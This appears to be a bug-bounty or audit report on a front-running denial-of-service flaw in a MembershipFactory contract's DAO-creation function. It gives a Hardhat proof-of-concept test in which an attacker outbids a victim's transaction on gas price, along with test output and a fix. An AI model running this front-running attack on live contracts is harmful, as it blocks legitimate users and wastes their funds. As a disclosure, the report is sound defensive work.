Summary
A front-running vulnerability in the createNewDAOMembership
function of the MembershipFactory
contract can allow a malicious user to prevent other users from creating new DAOs by continually front-running transactions. This vulnerability was identified previously, but the impact was assessed only as the potential for “stealing” DAO names (base on protocol response). However, the issue is much more severe, as an attacker could completely block all DAO creations, resulting in a Denial of Service (DoS) for all users.
References
Vulnerability Details
The createNewDAOMembership
function checks if a DAO with the same ensname
already exists, reverting the transaction if it does. This design flaw enables an attacker to submit a transaction with the same ensname
and a higher gasPrice
, allowing them to front-run any legitimate attempts to create a DAO with that name. If executed repeatedly, this results in a DoS condition where legitimate users are blocked from creating new DAOs with any desired name, as the attacker monopolizes each name with front-running transactions.
This vulnerability was previously identified, but the impact was not fully understood. The original assessment by the project team described it only as the risk of "stealing" DAO names. However, the true impact is much broader: an attacker could indefinitely block all DAO creation by monopolizing the naming mechanism, effectively halting the core functionality of the DAO creation process on the platform.
The code snippet from the createNewDAOMembership
method is shown below:
function createNewDAOMembership(DAOInputConfig calldata daoConfig, TierConfig[] calldata tierConfigs)
external returns (address) {
require(currencyManager.isCurrencyWhitelisted(daoConfig.currency), "Currency not accepted.");
require(daoConfig.noOfTiers == tierConfigs.length, "Invalid tier input.");
require(daoConfig.noOfTiers > 0 && daoConfig.noOfTiers <= TIER_MAX, "Invalid tier count.");
require(getENSAddress[daoConfig.ensname] == address(0), "DAO already exist.");
...
}
Impact Details
Denial of Service (DoS) on DAO Creation: A malicious actor can block all DAO creation attempts by front-running transactions and claiming each DAO name, making it impossible for legitimate users to proceed.
Gas Wastage for Users: Users who attempt to create DAOs will incur gas costs for transactions that get reverted due to the name conflict created by the attacker.
This can severely impact user experience and the core functionality of the protocol by blocking legitimate users from establishing new DAOs.
Proof of Concept (POC)
The following test demonstrates how a front-running attack could exploit this vulnerability to block DAO creation:
Add the code to test/MembershipFactory.test.ts
:
it("Chista0x-Front-Running create a new DAO Membership", async function () {
await currencyManager.addCurrency(testERC20.address);
expect(await membershipFactory.getENSAddress("testdao.eth")).to.equal(ethers.constants.AddressZero);
console.log("\nENSAddress Before TX = " , await membershipFactory.getENSAddress("testdao.eth"));
await network.provider.send("evm_setAutomine", [false]);
const tx_Victim = await membershipFactory.connect(addr1)
.createNewDAOMembership(DAOConfig, TierConfig,
{ gasLimit: '0x09184e72a000', gasPrice: ethers.utils.parseUnits("1", "gwei") });
console.log("Victim TX Hash = ", tx_Victim.hash);
const tx_attacker = await membershipFactory.connect(addr2)
.createNewDAOMembership(DAOConfig, TierConfig,
{ gasLimit: '0x09184e72a000',gasPrice: ethers.utils.parseUnits("2", "gwei") });
console.log("Attacker TX Hash = ", tx_attacker.hash);
const pendingBlock = await network.provider.send("eth_getBlockByNumber", [
"pending",
false,
]);
console.log("\nPending Transactions = " , pendingBlock.transactions);
await network.provider.send("evm_mine", []);
await network.provider.send("evm_setAutomine", [true]);
console.log("\nENSAddress After TX = " , await membershipFactory.getENSAddress("testdao.eth"));
expect(await membershipFactory.getENSAddress("testdao.eth")).to.not.equal(ethers.constants.AddressZero);
const ensToAddress = await membershipFactory.getENSAddress("testdao.eth")
expect(tx_attacker).to.emit(membershipFactory, "MembershipDAONFTCreated")
.withArgs("testdao.eth",ensToAddress,DAOConfig);
expect(tx_Victim).to.be.revertedWith("DAO already exist.");
});
To run the test, use the following command:
anvil --fork-url https://mainnet.infura.io/v3/{Your_Key} --disable-block-gas-limit --base-fee 1 --balance 100000000000000000
npx hardhat test --grep "Chista0x-Front-Running create a new DAO Membership" --network localhost
Sample test output:
MembershipFactory
Create New DAO Membership
ENSAddress Before TX = 0x0000000000000000000000000000000000000000
Victim TX Hash = 0xda04a48a957b82009b6abe98f95903d81005d7e1ddf26a7833cee9366398439e
Attacker TX Hash = 0x7b855d8c06e293e60d9d49ba90a10d1cb00afeff65157925df71ae2f6b5f5516
Pending Transactions = [
'0x7b855d8c06e293e60d9d49ba90a10d1cb00afeff65157925df71ae2f6b5f5516',
'0xda04a48a957b82009b6abe98f95903d81005d7e1ddf26a7833cee9366398439e'
]
ENSAddress After TX = 0x976d55D4B0860Da80db243DD5bC357FA6A751C6E
✔ Chista0x-Front-Running create a new DAO Membership (662ms)
1 passing (3s)
Recommendation
To mitigate this issue, it’s recommended to dynamically generate the ensname
using a hash that incorporates a unique identifier such as the sender's address. This would prevent attackers from predicting or duplicating the same ensname
to front-run transactions.